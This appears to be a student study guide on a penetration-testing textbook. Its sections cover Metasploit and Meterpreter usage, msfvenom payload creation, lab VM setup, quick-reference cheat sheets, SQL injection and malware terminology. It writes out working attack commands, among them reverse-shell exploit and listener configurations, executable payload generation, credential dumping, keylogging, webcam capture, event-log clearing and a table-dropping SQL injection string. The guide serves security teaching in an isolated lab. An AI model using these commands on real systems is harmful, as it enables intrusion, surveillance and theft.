- Metasploit scanners exist for SMB, SSH, FTP (anonymous and version), SQL Server, RDP — all use the same `use/set/run` pattern.
- Meterpreter is the advanced post-exploit shell: `sysinfo`, `getuid`, `shell`, `ps`, `migrate`, `getsystem` (privilege escalation), `hashdump`, `screenshot`, `webcam_snap`, `keyscan_start/dump`.
- `msfvenom` (run from shell, not `msfconsole`) creates standalone payloads in any format (exe, pdf, avi). Key flags: `-p` (payload), `-f` (format), `-e` (encoder), `-a` (architecture), `--platform`.
- Post-exploit commands: `enum_logged_on_users`, `checkvm`, `enum_applications`, `usb_history`, `hashdump`, `local_exploit_suggester`, `credential_collector`, `wlan_profile`, `clearev`.
- Chapter 14 adds: `ARP` (get IP/MAC of nearby hosts), `netstat` (network connections), `download/upload`, `screenshot`, `enumdesktops`, `keylogger`, `record_mic`, `webcam_stream`, Linux post exploits.
- Common error 'exploit completed, but no session was created' = target not vulnerable, wrong version, or payload doesn't create an interactive session.

Chapters 13 and 14 of Penetration Testing Fundamentals (Chuck Easttom, Pearson) cover Metasploit from first principles through advanced post-exploitation and payload creation. This is the primary offensive tool covered in the course.

8.1 What is Metasploit?

Metasploit is a framework for developing, testing, and delivering exploits against vulnerabilities. It is not magic — if a target is fully patched, Metasploit will not get you in. Its power is in the workflow: find a vulnerability, find an exploit for it, configure and fire it at the target, then use post-exploitation tools to gather information or escalate privileges.

Property	Detail
Created by	H.D. Moore in 2003. Originally written in Perl.
Rewritten in	Ruby in 2007.
Acquired by	Rapid7 in 2009. Rapid7 now maintains and distributes it.

Included in	Kali Linux (pre-installed). Also available standalone.
Exploit database	https://www.rapid7.com/db/modules/ — searchable online.
Purpose	Deliver exploits, run post-exploit commands, scan for vulnerabilities, create payloads.

8.2 Metasploit Core Object Types

Type	Description
Exploits	Code that attacks a specific vulnerability. Exploit = vulnerability-specific attack code. Only works if the target has that exact vulnerability.
Payloads	The code actually sent to and executed on the target after the exploit succeeds. Examples: reverse shell, Meterpreter shell, command execution. You choose the payload separately from the exploit.
Auxiliary	Modules that provide extra functionality. Scanners live here (SMB scanner, FTP scanner, SSH scanner, etc.). No exploitation — just information gathering.
Encoders	Embed exploits/payloads into other file types (PDF, AVI, EXE, etc.) to evade detection or deliver via email. Used by msfvenom.

8.3 Starting Metasploit

Option 1 — GUI: Click the Metasploit icon in Kali's application menu.

Option 2 — Manual (preferred):

```
service postgresql start
msfdb init
msfconsole
```

Once inside msfconsole, check the database connection:

```
db_status
```

If connected, you will see: 'Connected to msf. Connection type: postgresql'. If not connected, Metasploit still works but results won't be saved to the database.

Database matters for db_nmap

When the PostgreSQL database is connected, you can use db_nmap to run Nmap scans and automatically save results. Then use hosts and services commands to query what was found. Without the database, you lose this persistent tracking.

8.4 Basic msfconsole Commands

Command	Description
back	Exit current module/exploit and return to main msfconsole prompt.
use <module>	Load a module (exploit, scanner, auxiliary, etc.). e.g.: use exploit/windows/browser/ms11_003_ie_css_import
show exploits	List all available exploits.
show payloads	After loading an exploit, list compatible payloads.
show options	Show all settings for the currently loaded module — required vs optional. Run this after every use command.
set <OPTION> <value>	Set a module option. e.g.: set RHOST 192.168.1.177
set RHOSTS <ip>	Set remote host(s). RHOSTS (plural) = can scan a range. RHOST (singular) = one target only.
set LHOST <ip>	Set local host — YOUR attacker IP (Kali). Used for reverse shells.
set payload <payload>	Set the payload to use. e.g.: set payload windows/meterpreter/reverse_tcp
run / exploit	Execute the loaded and configured module.
jobs	List currently running background jobs.
kill <job_id>	Kill a running job. Always kill old jobs before starting new exploits.
sessions	List active sessions (successful exploits that gave you a shell).
sessions -l	List all sessions with details.
sessions -i <n>	Interact with (connect to) session number n.
load / unload	Load or unload a plugin.
exit / quit	Quit Metasploit.
msfupdate	Update Metasploit framework (run from shell, NOT inside msfconsole).

Linux is case-sensitive

All Metasploit commands are case-sensitive. RHOST ≠ rhost. set ≠ SET. This is a frequent source of errors for beginners.

8.5 Searching for Exploits

Metasploit has thousands of modules. Use search to find what you need:

```
search platform:Windows
search platform:"Windows 8.1"
search name:mysql
search path:scada
```

```
search author:jsmith  
search cve:2011 author:jsmith platform:linux
```

You can also use Rapid7's online database: <https://www.rapid7.com/db/modules/> — shows authors, targets, and reliability rating for each exploit.

8.6 Metasploit Scanners (Auxiliary Modules)

Scanning with Metasploit follows the same use / set / run pattern as exploits. All scanners below are auxiliary modules.

SMB Version Scanner — Detect Windows Machines

```
use scanner/smb/smb_version  
set RHOSTS 192.168.1.177  
set THREADS 4  
run
```

Detects whether a target is a Windows computer (SMB = Server Message Block, used by Windows Active Directory). THREADS controls how many parallel threads to use — don't set too high.

SQL Server Scanner

```
use auxiliary/scanner/mssql/mssql_ping  
set RHOSTS 192.168.1.177  
set THREADS 1  
set USE_WINDOWS_AUTHENT false  
run
```

Scans for Microsoft SQL Server instances. USE_WINDOWS_AUTHENT false = don't attempt to log in (no credentials). Run show options after use to see all options.

SSH Version Scanner

```
use scanner/ssh/ssh_version  
set RHOSTS 192.168.1.177  
set THREADS 1  
run
```

Anonymous FTP Scanner

```
use auxiliary/scanner/ftp/anonymous  
set RHOSTS 192.168.1.177  
set RPORT 21  
set THREADS 1  
run
```

Checks for FTP servers that allow anonymous login — a significant vulnerability.

FTP Version Scanner

```
use auxiliary/scanner/ftp/ftp_version
set RHOSTS 192.168.1.177
show options
run
```

RDP Vulnerability Check

```
use auxiliary/scanner/rdp/ms12_020_check
set RHOSTS 192.168.1.177
set RPORT 3389
set THREADS 1
run
```

Checks if the target has the MS12-020 RDP vulnerability (allows remote desktop takeover).

RHOSTS vs RHOST

Modules with RHOSTS (plural) can scan a range: set RHOSTS 192.168.1.177 192.168.1.215 or set RHOSTS 192.168.1.0/24. Modules with RHOST (singular) only accept one target. Always check show options to see which one a module uses.

8.7 Using Exploits — The Workflow

The basic exploit workflow in Metasploit:

Step	Command / Action
1. Find an exploit	search <keyword> or browse https://www.rapid7.com/db/modules/
2. Load the exploit	use exploit/windows/browser/ms11_003_ie_css_import
3. Check options	show options — see what must be set
4. Set payload	set payload windows/meterpreter/reverse_tcp
5. Set target IP	set RHOST 192.168.1.177
6. Set your IP	set LHOST 192.168.1.234 (your Kali IP)
7. Set port (if needed)	set LPORT 4444
8. Fire	exploit (or run)
9. Check sessions	sessions -l
10. Interact	sessions -i 1 (replace 1 with your session number)

8.8 Exploit Examples from Chapter 13

CSS Import Exploit (Browser-based — Windows 7 IE)

Exploits a flaw in Internet Explorer's handling of CSS on Windows 7. Kali becomes a web server; target must navigate to your URL.

```
use exploit/windows/browser/ms11_003_ie_css_import
set payload windows/meterpreter/reverse_tcp
set URIPATH /clickhere
set LHOST 10.0.2.20
exploit
```

Then on the target machine, open Internet Explorer and navigate to `http://10.0.2.20:8080/clickhere`. If vulnerable, you get a Meterpreter session.

File Format Exploit

Delivers a malicious .mcl file. Target must type the path into Start > Run.

```
use exploit/windows/fileformat/ms15_100_mcl_exe
set payload windows/meterpreter/reverse_tcp
set lhost <YOURKALIIP>
set lport 443
set srvice <YOURKALIIP>
set srviceport <differentport>
exploit
```

Target types: `\\<YOURKALIIP>\hyzgu\msf.exe` into Start > Run. Often delivered via social engineering.

Windows XP DCOM Attack (No user interaction needed)

Attacks a flaw in how Windows XP handles DCOM. Does NOT require the user to click anything — brute-force network attack.

```
use exploit/windows/dcerpc/ms03_026_dcom
set RHOST 192.168.1.177
set PAYLOAD generic/shell_reverse_tcp
set LHOST 192.168.1.234
exploit
```

Icon DLL Loader (Browser-based)

Target navigates to your IP. Only works if target has the specific vulnerability.

```
use exploit/windows/browser/ms10_046_shortcut_icon_dllloader
set payload windows/meterpreter/reverse_tcp
set SRVHOST <YOURKALIIP>
set LHOST <YOURKALIIP>
exploit
```

Common Error: No Session Created

exploit completed, but no session was created

This means: (1) the target is not vulnerable to this exploit (wrong version, already patched), OR (2) the payload chosen doesn't create an interactive session. Try a different exploit or different payload. Always kill old jobs before trying again: `jobs then kill <id>`.

8.9 Meterpreter — Post-Exploitation Shell

Meterpreter is Metasploit's advanced payload/shell. Once you have a session, you are in a Meterpreter prompt (meterpreter >) with access to powerful commands:

System Information

Command	What it does
sysinfo	Get OS version, computer name, architecture of the target.
getuid	Get current username and machine name on the target.
shell	Drop into a native Windows or Linux shell on the target. Type exit to return to Meterpreter.
ps	List all running processes on the target (includes PIDs for migrate).
migrate <PID>	Migrate your Meterpreter session into another process. Useful for stability and privilege escalation.
use priv / getsystem	Attempt privilege escalation to SYSTEM/root. Not guaranteed.
getpid	Get PID of current Meterpreter process.

File System Operations

Command	What it does
ls	List files in current directory on target.
cd <dir>	Change directory on target.
pwd	Print current directory on target.
download <file>	Download a file from target to your Kali machine.
upload <file>	Upload a file from your Kali machine to the target.
cat <file>	Read a file's contents on the target.
edit <file>	Edit a file on the target.
rm <file>	Delete a file on the target.
mkdir <dir>	Create a directory on the target.

Surveillance and Recon

Command	What it does
screenshot	Take a screenshot of the target's current desktop. Saves to Kali.
enumdesktops	List all desktops on the target (important for multi-user systems).

getdesktop <n>	Interact with desktop number n.
webcam_list	List webcams attached to the target.
webcam_snap	Take a still photo from the target's webcam.
webcam_stream	Get live streaming video from the target's webcam.
record_mic	Record audio from the target's microphone.
keyscan_start	Start a keylogger on the target.
keyscan_dump	Dump the recorded keystrokes.

Network Information

Command	What it does
arp	Show ARP table — IP and MAC addresses of machines the target has communicated with. Useful for pivoting to other machines on the network.
netstat	Show active network connections on the target. Can reveal security tools (SIEM, IDS) the target is communicating with.
ipconfig / ifconfig	Show network interface configuration of target.
route	Show routing table of target.
portfwd	Set up port forwarding through the compromised machine (pivoting).

8.10 Post-Exploit Modules (run post/...)

These are run from inside a Meterpreter session. They gather information from the compromised machine:

Command	What it does
run post/windows/gather/enum_logged_on_users	List all users currently logged on to the target.
run post/windows/gather/checkvm	Check if the target is a Virtual Machine (could be a honeypot).
run post/windows/gather/enum_applications	List all installed applications on the target.
run post/windows/gather/usb_history	List all USB devices ever connected to the machine.
run post/windows/gather/hashdump	Dump Windows password hashes. Run through rainbow tables or Hashcat to crack.

run post/multi/recon/local_exploit_suggester	Suggest local exploits that might work for privilege escalation.
use post/windows/gather/enum_patches	List installed patches — shows what vulnerabilities may still be present.
run post/windows/gather/credentials/credential_collector	Attempt to grab local saved credentials.
run post/windows/wlan/wlan_profile	Get all Wi-Fi profiles the machine has connected to, including passwords.
run get_application_list	List applications NOT included with the OS (installed software).
use post/windows/capture/keylog_recorder	Alternative keylogger (post module version).
run event_manager -i	Interact with the Windows Event Manager (better than clearev).
clearev	Clear all Windows event logs. WARNING: destroys forensic evidence. Not recommended in a real pen-test.
use post/linux/gather/enum_configs	Get common Linux config files from a compromised Linux target.
use post/linux/gather/enum_system	Get Linux system information.
enum_users_history	Get current user's command history on Linux target.

8.11 Chapter 14 — Additional Attacks

Attacking Windows Server 2008 R2

Based on a vulnerability in win32k.sys involving NULL pointer dereferencing in the TrackPopupMenu API call. Also reported to work on Windows Server 2003 SP2 and Windows 7.

```
|use exploit/windows/local/ms14_058_track_popup_menu
```

Attacking Windows via Office (Sandworm)

Claimed to work on Windows Vista, 8, Server 2008, Server 2012 when running Office 2010 or 2013.

```
|use exploit/windows/fileformat/ms14_060_sandworm
```

Attacking Linux

Exploits a Linux kernel flaw. Target the Metasploitable Linux VM for practice.

```
|use exploit/linux/local/sock_sendpage
```

Web Delivery Attack (cross-platform)

Attacks how a browser processes web pages. Most effective on Windows; also claimed to work on Linux and macOS.

```
|use exploit/multi/script/web_delivery
```

Linux Reverse Shell

Get a reverse Meterpreter shell on a Linux machine (e.g., Metasploitable 2):

```
|use linux/x86/meterpreter/reverse_tcp
```

8.12 msfvenom — Creating Standalone Payloads

msfvenom combines the old msfpayload and msfencode tools. It generates standalone payload files that can be delivered by any means (email attachment, USB drop, social engineering). Crucially, msfvenom is run FROM THE KALI SHELL, not from inside msfconsole.

Key Flags

Flag	Meaning
-p <payload>	The Metasploit payload to use. e.g.: windows/meterpreter/reverse_tcp
-f <format>	Output format: exe, pdf, avi, raw, etc.
-e <encoder>	Encoder to obfuscate the payload (AV evasion).
-a <arch>	Target CPU architecture. Default = x86. Options: x86, x64.
--platform <OS>	Target OS: Windows, Linux, OSX, Android, Cisco, BSD, Solaris, Unix, etc. Case-insensitive.
-o <filename>	Output file name.
lhost=<ip>	Attacker's IP address (for reverse connections).
lport=<port>	Attacker's listening port (for reverse connections).
-l payloads	List all available payloads.
-h	Show help / all options.

msfvenom Examples

List all available payloads:

```
|msfvenom -l payloads
```

Create a Windows reverse TCP shell as an executable:

```
|msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.56.101 lport=4444 -  
f exe -o mypayload.exe
```

Full version with all flags specified (best practice):

```
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp  
lhost=192.168.56.101 lport=4444 -f exe -o mypayload.exe
```

After creating the payload, you need a listener in Metasploit to catch the connection when the target executes the file:

```
msfconsole  
use exploit/multi/handler  
set payload windows/meterpreter/reverse_tcp  
set LHOST 192.168.56.101  
set LPORT 4444  
exploit
```

Delivering msfvenom payloads

The payload file itself does nothing until the target executes it. Common delivery methods: email attachment (still highly effective), USB drop, social engineering (trick user into running it), or uploading it after a separate initial exploit. The `-f` flag controls disguise: `-f pdf` looks like a PDF, `-f exe` is a Windows program, etc.

8.13 Lab Setup for Metasploit Practice

Component	Recommendation
Attacker VM	Kali Linux — all tools pre-installed.
Target VM for guaranteed success	Windows 7 WITHOUT Service Pack 1 — most Chapter 13 exploits are confirmed to work.
Target VM from Rapid7	Metasploitable 2 (Linux) — always vulnerable. Use for Linux attack practice.
Target VM (Windows)	Metasploitable 3 win2k8 — Windows Server 2008 R2 with intentional vulnerabilities.
Network setup	Host-Only adapter for both VMs — isolated, no internet exposure for target.
VM note	If Kali VM to victim VM on same host: set network to Host-Only Adapter, allow all promiscuous.
Windows 7 source	Microsoft developer VMs (https://developer.microsoft.com/en-us/microsoft-edge/tools/vms/), MSDN subscription, or eBay for old Windows licenses.

8.14 Chapter 13 & 14 Quick Command Reference

Task	Command(s)
Start Metasploit	service postgresql start → msfdb init → msfconsole

Check DB status	db_status
Search exploits	search name:smb / search platform:Windows / search cve:2017
Load and configure module	use <path> → show options → set RHOST <ip> → set LHOST <ip> → run
List sessions	sessions -l
Connect to session	sessions -i 1
Get target system info	sysinfo
Get current user on target	getuid
Get native shell	shell
List processes	ps
Migrate to process	migrate <PID>
Escalate privileges	use priv → getsystem
Take screenshot	screenshot
Start keylogger	keyscan_start → keyscan_dump
Webcam photo	webcam_list → webcam_snap
Download file	download secretstuff.txt
Dump password hashes	run post/windows/gather/hashdump
Check if VM	run post/windows/gather/checkvm
Enum installed apps	run post/windows/gather/enum_applications
Suggest local privesc	run post/multi/recon/local_exploit_suggester
Get Wi-Fi passwords	run post/windows/wlan/wlan_profile
Create EXE payload	msfvenom -p windows/meterpreter/reverse_tcp lhost=<ip> lport=4444 -f exe -o payload.exe
Kill a job	jobs → kill <id>

SECTION 9: QUICK REFERENCE CHEAT SHEETS

SECTION SUMMARY

- Default credentials: Metasploitable 2 = msfadmin/msfadmin; Metasploitable 3 (both flavors) = vagrant/vagrant.
- VirtualBox networking modes at a glance: Bridged=full LAN, NAT=internet only (isolated), NAT Network=internet+VM-to-VM, Host-Only=VM+host only, Internal=VM-to-VM only.
- All VBoxManage commands for networking, port forwarding, NAT networks, RAM/CPU config, and snapshots.
- Vagrant lifecycle: vagrant up > vagrant halt (safe stop) > vagrant up again. Never vagrant destroy unless rebuilding from scratch is acceptable.
- Kali VM optimum settings condensed in one table for quick reference during setup.
- Key Linux security commands and important system file paths consolidated for rapid lookup.
- Nmap essential one-liners: -sn (host discovery), -sV (versions), -O (OS), -A (all-in-one), -script=vuln (vulnerability scan), -oA (save all output formats).
- Metasploit quick flow: service postgresql start > msfdb init > msfconsole > search > use > show options > set RHOST/LHOST/payload > exploit > sessions -i <n>.
- msfvenom key flags: -p (payload), -f (format/exe/pdf), -a (arch), --platform, -o (output file).
- Glossary of key cybersecurity and virtualization terms (VM, hypervisor, payload, RHOST/LHOST, SUID, Meterpreter, etc.).

This section consolidates the most exam-critical information for rapid Ctrl+F lookup.

9.1 Default Credentials Summary

System	Username / Password
Metasploitable 2	msfadmin / msfadmin
Metasploitable 3 (Ubuntu)	vagrant / vagrant
Metasploitable 3 (Windows)	vagrant / vagrant
Kali Linux (default install)	kali / kali (or as set during installation)

9.2 Download & Setup Sources

Resource	URL
Metasploitable 2 (Rapid7)	https://information.rapid7.com/metasploitable-download.html

Metasploitable 2 (SourceForge)	https://sourceforge.net/projects/metasploitable/
Metasploitable 3 (GitHub)	https://github.com/rapid7/metasploitable3
Linux Command Line Reference	https://linuxcommand.org/index.php
Kali Linux Downloads	https://www.kali.org/get-kali/

9.3 VirtualBox Networking Mode Quick Lookup

Mode	VM→Host	Host→VM	VM↔VM	VM→Net	Net→VM
Host-Only	Yes	Yes	Yes	No	No
Internal	No	No	Yes	No	No
Bridged	Yes	Yes	Yes	Yes	Yes
NAT	Yes	Port Fwd	No	Yes	Port Fwd
NAT Service	Yes	Port Fwd	Yes	Yes	Port Fwd

9.4 VBoxManage Common Commands

Task	Command
List all VMs	VBoxManage list vms
List running VMs	VBoxManage list runningvms
Start VM	VBoxManage startvm "VM name"
Stop VM (save state)	VBoxManage controlvm "VM name" savestate
Power off VM	VBoxManage controlvm "VM name" poweroff
Set adapter to NAT	VBoxManage modifyvm "VM name" --nic1 nat
Set adapter to bridged	VBoxManage modifyvm "VM name" --nic1 bridged --bridgeadapter1 eth0
Set adapter to host-only	VBoxManage modifyvm "VM name" --nic1 hostonly
Set adapter to internal	VBoxManage modifyvm "VM name" --nic1 intnet --intnet1 mynet
Add port forwarding	VBoxManage modifyvm "VM name" --nat-pf1 "name,tcp,,hostport,,guestport"
Create NAT network	VBoxManage natnetwork add --netname mynet --network 192.168.15.0/24 --enable

List NAT networks	VBoxManage list natnetworks
Modify RAM	VBoxManage modifyvm "VM name" --memory 4096
Modify CPUs	VBoxManage modifyvm "VM name" --cpus 2
Take snapshot	VBoxManage snapshot "VM name" take "snapshot-name"
Restore snapshot	VBoxManage snapshot "VM name" restore "snapshot-name"

9.5 Essential Linux Commands Quick Reference

Command	What it does
ifconfig / ip addr show	Show network interfaces and IP addresses
ifconfig eth0 / ip addr show eth0	Show specific interface
sudo nmap -sV -O <target>	Scan target for open ports, service versions, OS
sudo nmap -sn 192.168.56.0/24	Ping scan — discover live hosts on subnet
netstat -tulnp / ss -tulnp	Show all listening ports with process names
ps aux	List all running processes
find / -perm -4000 2>/dev/null	Find all SUID binaries
cat /etc/passwd	List all user accounts
cat /etc/shadow	Read password hashes (root only)
sudo -l	Check what sudo commands current user can run
id	Show current user ID and group memberships
uname -a	Show kernel version and system info
history	View command history
grep -r 'password' /var/www/	Hunt for passwords in web directories
wget http://...	Download a file from the internet
chmod +x file && ./file	Make file executable and run it

9.6 Vagrant Command Quick Reference

Command	Action
vagrant up	Start all VMs defined in Vagrantfile
vagrant up win2k8	Start only the Windows Server 2008 VM
vagrant up ub1404	Start only the Ubuntu VM
vagrant halt	Stop VM — state preserved. SAFE to use.
vagrant status	Check if VM is running or halted
vagrant destroy	PERMANENTLY DELETE VM. Rebuilds take 40-50 min.
vagrant reload	Restart VM and re-apply Vagrantfile
vagrant ssh	SSH into Linux VM from terminal

9.7 Kali VM VirtualBox Settings Summary

Setting	Recommended Value
Type / Version	Linux / Debian (64-bit)
RAM	2048 MB minimum (increase if possible)
CPUs	2
Hard Disk	80 GB, VDI, Dynamically allocated
Video Memory	128 MB
Enable 3D Acceleration	DISABLED (causes issues)
Shared Clipboard	Bidirectional
Drag'n'Drop	Bidirectional
Boot Order	Hard Disk first, Optical second
PAE/NX	Enabled
Network for lab	Adapter 1: NAT; Adapter 2: Host-Only

9.8 Nmap Quick Reference

Command	What it does
nmap -sn 192.168.56.0/24	Discover live hosts on subnet (no port scan)
nmap -sS -sV -O -T4 <ip>	SYN scan + service versions + OS detection (standard recon)
nmap -A -T4 <ip>	Aggressive: OS + versions + default scripts + traceroute

nmap -p- -sV -T4 <ip>	Scan ALL 65535 ports with version detection
nmap -sU --top-ports 20 <ip>	Top 20 UDP ports
nmap -Pn <ip>	Skip ping, assume host is up (bypass ICMP blocks)
nmap --script=vuln <ip>	Run all vulnerability scripts
nmap --script=smb-vuln-ms17-010 -p 445 <ip>	Check for EternalBlue
nmap --script=ftp-anon -p 21 <ip>	Check for anonymous FTP
nmap --script=http-enum -p 80 <ip>	Enumerate web directories
nmap -oA results <ip>	Save output in all 3 formats
nmap -D RND:10 <ip>	Decoy scan (randomize source IPs for evasion)
db_nmap -sV -O <ip> (in msfconsole)	Scan and save results to Metasploit database

9.9 Key Concepts Summary

Concept	Definition
Penetration Testing	Authorized simulation of cyberattacks to evaluate the security of a system.
Intentionally Vulnerable VM	A VM deliberately configured with security flaws for training purposes. Examples: Metasploitable 2, Metasploitable 3, DVWA.
Virtual Machine (VM)	Software emulation of a computer. Runs an OS inside another OS.
Hypervisor	Software that creates and runs VMs. VirtualBox is a Type 2 hypervisor (runs on top of a host OS).
Snapshot	A saved state of a VM. Can revert to this point in time — essential for lab work (restore after each test).
Host machine	The physical machine running VirtualBox.
Guest machine	The VM running inside VirtualBox.
RHOST	In Metasploit: the Remote HOST — the target's IP address.
LHOST	In Metasploit: the Local HOST — attacker's IP (used for reverse shell callbacks).
Shell	Command-line access to a machine. A reverse shell connects back from target to attacker.

Payload	In Metasploit: the code that runs on the target after a successful exploit (e.g., a reverse shell).
Module	In Metasploit: a self-contained unit of code for scanning, exploiting, or post-exploitation.
VDI	VirtualBox Disk Image — the file format for VirtualBox's virtual hard drives.
VMDK	VMware Disk Image — also compatible with VirtualBox.
ISO	Disc image file — used to install operating systems from virtual optical drives.
Vagrant	Tool to provision and manage VMs from a Vagrantfile configuration.
PAE/NX	Physical Address Extension (>4GB RAM for 32-bit) / No-Execute bit (hardware security).

SECTION 2: SQL INJECTION ATTACKS (Chapter 5.4)

SECTION SUMMARY — SQL injection (SQLi) is one of the most prevalent and dangerous network-based security threats. It exploits poorly sanitised input fields in web applications to inject malicious SQL commands directly into backend database queries. Goals range from bulk data extraction to data modification, deletion, OS command execution, and DoS. The attack works by prematurely terminating a text string and appending attacker-controlled SQL. Avenues: user input, server variables, cookies, second-order injection, physical barcodes/RFID. Types: inband (tautology, end-of-line comment, piggybacked queries), inferential/blind (illegal queries, blind injection), and out-of-band. Countermeasures: defensive coding (parameterised queries, SQL DOM, input validation), detection (signature-based, anomaly-based, code analysis), and run-time prevention.

2.1 What is SQL Injection?

SQLi is an attack designed to send malicious SQL commands to a database server by exploiting insufficient input validation in web applications. User-supplied input is either incorrectly filtered for string literal escape characters embedded in SQL statements, or not strongly typed, so it is unexpectedly executed as code. The most common goal is bulk extraction of data, but SQLi can also modify/delete data, execute arbitrary OS commands, or launch DoS attacks.

2.2 The Injection Technique

SQLi typically works by prematurely terminating a text string and appending a new command. Because the inserted command may have additional strings appended before execution, the attacker terminates the injected string with a comment mark `--` so subsequent text is ignored at execution time.

Example: `var sql = "select * from OrdersTable where ShipCity = '" + ShipCity + "'"`

If user enters: `Boston'; DROP table OrdersTable--`

Result: `SELECT * FROM OrdersTable WHERE ShipCity = 'Boston'; DROP table OrdersTable--`

The semicolon separates two commands; the double-dash makes everything after it a comment. The table is dropped.

2.3 Attack Avenues

Avenue	Description
User input	Attacker injects via form submissions sent as HTTP GET or POST requests.
Server variables	HTTP headers, network protocol headers, and env variables logged to DB without sanitisation become injectable.
Second-order injection	Malicious data already stored in the DB is used to trigger an attack when later retrieved and used in a new query.
Cookies	Client-controlled cookies can be altered to modify a SQL query built from cookie content.
Physical user input	Barcodes, RFID tags, or OCR-scanned paper forms can carry injection payloads passed to a DBMS.

2.4 Attack Types

- **Tautology:** Tautology: Injects conditions that always evaluate to TRUE (e.g. ' OR 1=1 --). Disables password checks; returns all rows. Entire WHERE clause becomes true.
 - **End-of-line comment:** End-of-line comment: Uses -- to nullify legitimate code after the injected payload.
 - **Piggybacked queries:** Piggybacked queries: Appends additional queries after the intended one using semicolons. Requires server config allowing multiple queries in one string.
-
- **Illegal queries:** Illegal/logically incorrect queries: Forces error messages that reveal database type, structure, table names. Preliminary information-gathering step.
 - **Blind SQLi:** Blind SQL injection: Asks the server true/false questions. TRUE = page behaves normally. FALSE = page changes significantly. No error message shown.
-

Data retrieved using a different channel (e.g. DB server emails query results to attacker). Used when in-band retrieval is blocked but outbound connectivity from the DB server is lax.

2.5 SQLi Countermeasures

- **Manual:** Manual defensive coding: Input type checking (numeric fields contain only digits); pattern matching to distinguish normal from abnormal input.
 - **Parameterised queries:** Parameterised query insertion (prepared statements): Developer specifies the SQL structure separately from parameters. Unsanitised user input cannot modify query structure.
 - **SQL DOM:** SQL DOM: Set of classes enabling automated data type validation and escaping. Changes query-building from string concatenation to a type-checked API.
-
- **Signature-based:** Signature-based: Matches specific known attack patterns. Must be constantly updated; does not work against self-modifying attacks.
 - **Anomaly-based:** Anomaly-based: Defines normal behaviour (training phase), then detects deviations. Catches novel attacks but has false-positive risk.
 - **Code analysis:** Code analysis: Uses a test suite that generates a wide range of SQLi attacks to assess system response and find vulnerabilities.
-

Checks queries at runtime to verify they conform to a model of expected queries. Various automated tools available. Acts as a last line of defence when defensive coding and detection both fail.

2.6 Quick Reference - SQLi Attack Types

Type	Mechanism / Key Fact
Tautology	' OR 1=1 -- makes WHERE always true. Returns all rows. Bypasses password check.

End-of-line comment	-- after injected code ignores the rest of the original query.
Piggybacked query	Semicolon adds a second statement (e.g. DROP TABLE).
Blind SQLi	True/false questions. No data shown, but page behaviour reveals DB structure.
Second-order	Stored payload triggers later when retrieved and re-used in a query.
Out-of-band	DB sends results via email or DNS to attacker. Bypasses in-band filtering.

SECTION 3: MALICIOUS SOFTWARE / MALWARE (Chapter 6)

SECTION SUMMARY - Malware is software inserted covertly to compromise confidentiality, integrity, or availability of a victim's data, applications, or OS. Classification: by propagation (viruses = infected content; worms = vulnerability exploit; Trojans/spam = social engineering) and by payload (system corruption; attack agent/bots; information theft; stealthing/rootkits). APTs are persistent, targeted, state-sponsored attacks combining multiple propagation and payload mechanisms. Viruses have 4 phases: dormant, propagation, triggering, execution. Worms self-replicate via network; use scanning strategies (random, hit-list, topological, local subnet). Bots form botnets controlled via C&C servers; used for DDoS, spam, spyware, click fraud. Rootkits maintain covert root access; range from user-mode to kernel-mode, VM-based, and UEFI/BIOS. Countermeasures: host-based AV (4 generations), perimeter scanning (ingress/egress monitors), distributed intelligence gathering.

3.1 Malware Terminology

Term	Definition
Malware	Software inserted covertly to compromise CIA of data/apps/OS or disrupt the victim. (NIST SP 800-83)
Virus	Replicates by attaching to executable content; executes when infected code runs.
Worm	Self-contained program; propagates independently over networks exploiting vulnerabilities.
Trojan horse	Useful-looking program with hidden malicious function. Does not self-replicate.
Logic bomb	Dormant code that activates on a predefined condition (date, file presence, etc.).
Backdoor / Trapdoor	Bypasses normal security checks; provides unauthorised access to program or system.
Rootkit	Set of tools maintaining covert root-level access while hiding evidence of presence.
Bot / Zombie / Drone	Compromised host controlled remotely; part of a botnet.
Botnet	Network of bots acting in a coordinated manner under attacker control.
Keylogger	Captures keystrokes to steal credentials.
Spyware	Collects info (keystrokes, screen data, network traffic) and transmits it to attacker.
Ransomware	Encrypts victim data; demands payment for the decryption key.

Adware	Advertising integrated into software; causes pop-ups or browser redirection.
Drive-by-download	Browser/plugin vulnerability exploit on a compromised website installs malware silently.
Phishing	Spam directing user to fake website to capture credentials or personal info.
Spear-phishing	Targeted phishing - email crafted specifically for the recipient using researched details.
Attack kit / Crimeware	Toolkit allowing novices to create and deploy malware with various propagation and payload modules.
APT	Well-resourced, persistent, targeted intrusion campaign; often state-sponsored.
Blended attack	Combines multiple propagation mechanisms and payloads for maximum impact.
Zero-day exploit	Exploit of an unknown vulnerability; no patch exists at time of attack.
Mobile code	Scripts/macros that run unchanged on heterogeneous platforms (Java applets, JS, ActiveX).
Watering-hole attack	Compromise websites known to be visited by the targeted victims; variant of drive-by.
Malvertising	Place malware in online advertisements on legitimate sites.
Clickjacking (UI redress)	Overlays hidden UI elements to hijack user clicks/keystrokes for attacker-controlled actions.

3.2 Malware Classification

Two-axis classification: HOW it spreads (propagation) and WHAT it does (payload).

Propagation mechanisms: (1) Viruses - infect existing executable/interpreted content; (2) Worms - exploit software vulnerabilities to self-replicate over networks; (3) Trojans/Social Engineering - trick users into installing malware or revealing information.

Payload categories: (1) System corruption - data destruction, ransomware, real-world damage, logic bombs; (2) Attack agent - bots/zombies for DDoS, spam, click fraud; (3) Information theft - keyloggers, spyware, phishing, data exfiltration; (4) Stealthing - backdoors, rootkits.

Blended malware uses multiple propagation and payload mechanisms simultaneously and may include an update mechanism to change behavior after deployment.

3.3 Advanced Persistent Threat (APT)

APTs are not a new malware type but a sustained, targeted campaign by well-resourced attackers (usually state-sponsored) against specific business or political targets. Named characteristics:

- **Advanced:** Uses wide variety of intrusion technologies and custom malware where needed.
- **Persistent:** Long-duration attack campaign, often stealthy, applying progressive techniques until compromise.
- **Threat:** Organized, capable, well-funded attackers with specific intent against chosen target.

Techniques: social engineering, spear-phishing, supply-chain attacks, drive-by-downloads on sites visited by target personnel. Examples: Aurora, RSA breach, APT1, Stuxnet, Duqu, Flame. Defence requires technical countermeasures + awareness training + multiple defence layers for detection and response.

3.4 Propagation 1 - Viruses (Infected Content)

A virus has 3 components: (1) Infection mechanism (vector) - how it spreads/replicates; (2) Trigger (logic bomb) - event/condition that activates the payload; (3) Payload - what it does besides spreading (damage or benign activity).

Phase	Description
Dormant	Idle, waiting for a trigger event (date, program presence, disk capacity). Not all viruses have this stage.
